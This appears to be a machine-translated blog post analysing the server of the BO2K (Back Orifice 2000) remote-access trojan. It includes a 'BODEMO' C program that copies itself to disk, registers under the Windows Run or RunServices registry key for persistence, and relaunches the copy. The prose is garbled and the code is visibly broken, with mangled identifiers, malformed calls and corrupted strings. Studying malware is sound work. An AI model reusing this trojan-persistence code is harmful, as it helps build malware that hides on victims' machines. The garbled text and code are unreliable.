It took some time to analyze the BO2K, and the results will be published in turn. Then will also publish the BO message loop mechanism, the principle of the network, the principle of self-contained loadLibrary (), the principle of the implementation of the key command, etc. Wish for Zhujun C Programming and Windows programming are beneficial.
One BO2K server principle Overview The BO2K server program first determines if BO2K has been installed. If it is already installed, a simple start server, listen port. If you do not install it, copy itself to the system directory, and register BO2K to start BO2K whenever the system is started. Then, the BO2K of the copy version is started with its own full path, it is ended. Here, we have seen the application to delete one of themselves. This is the main job of the server's Winmain () function, see Bodemo for details. Of course, since the error handling is considered, and the source code is complicated than BODEMO, and there is a case. However, after the above process, then the command array is then initialized, establish the listening port, and enter the command loop. (These are the work of the entrypoint () function).
I will analyze this function later. Attached BODEMO: #include "stdafx.h" BOOL g_bIsWinNT; / * Determine Operating System Version * / void GetOSVersion (void) {OSVERSIONINFO osvi; osvi.dwOSVersionInfoSize = sizeof (OSVERSIONINFO); if (GetVersionEx (& osvi) == FALSE)
{MessageBox (hwnd_desktop, "unable to get version info", "getosversion ()", mb_ok);} if (Osvi.dwplatformID == Ver_Platform_WIN32S)
{MessageBox (HWND_DESKTOP, "This application does not run under WIN32s!", "Error", MB_OK);} if (osvi.dwPlatformId == VER_PLATFORM_WIN32_NT) g_bIsWinNT = 1; else g_bIsWinNT = 0;} DWORD WINAPI EntryPoint (LPVOID lpParameter) {
/ * Initialization command arrays in this function, establish the listening port, and enter the command loop. Here is simple to simulate it, and then analyze in the next period. * /
while (1); return 0;} int APIENTRY WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {GetOSVersion (); int nInstall = 0; char * svRunRegKey; if (g_bIsWinNT) svRunRegKey = "SOFTWARE // Microsoft // windows // currentversion // run "; else SvrunRegkey =" Software // Microsoft // Windows // CurrentVersion // RunServices ""; / * If the parameter deletes the file specified by the parameter, this section of the code is slightly * /
// get current module location char svfilename [512]; char svtargetname [max_path]; getModuleFileName (GetModuleHandle (NULL), SVFileName, 512); LSTRCPY (SVTARGETNAME, "C: //BodeMo.exe");
/ * Simple copies itself into C: / under BO2K, copied into the system directory, and the name is configurable.
* / // ----- 1: Check for installation ----- if (getFileAttributes (svtargetname)! = 0xfffffffff)
/ * Is BO2K * / NINSTALL = 1 installed; if (ninstall == 0) / * is not installed ... * / {// make copy of file while (copyfile (svfilename, svtargetname, false == 0) SLEEP 1000);
HKEY key; if (RegOpenKey (HKEY_CURRENT_USER, svRunRegKey, & key) == ERROR_SUCCESS) {RegSetValueEx (key, "Bodemo", 0, REG_SZ, (BYTE *) svTargetName, lstrlen (svTargetName)); RegCloseKey (key);} // And now Run the copy, startupinfo si; process_information pi; char svcomline [2048]; lstrcpy (svcomline, svtargetname, 2048);
LSTRCPYN (SVComline lstrlen (svcomline), "" "
2048-lstrlen (svcomline));
LSTRCPYN (SVComline Lstrlen (Svcomline), SVFileName,
2048-lstrlen (svComLine)); memset (& si, 0, sizeof (STARTUPINFO)); si.cb = sizeof (STARTUPINFO); si.dwFlags = STARTF_FORCEOFFFEEDBACK; CreateProcess (NULL, svComLine, NULL, NULL, 0,0, NULL , NULL, & SI, & PI); Else / * Bo Has Installed ... * / {entrypoint (getModuleHandle (NULL));} Return 0;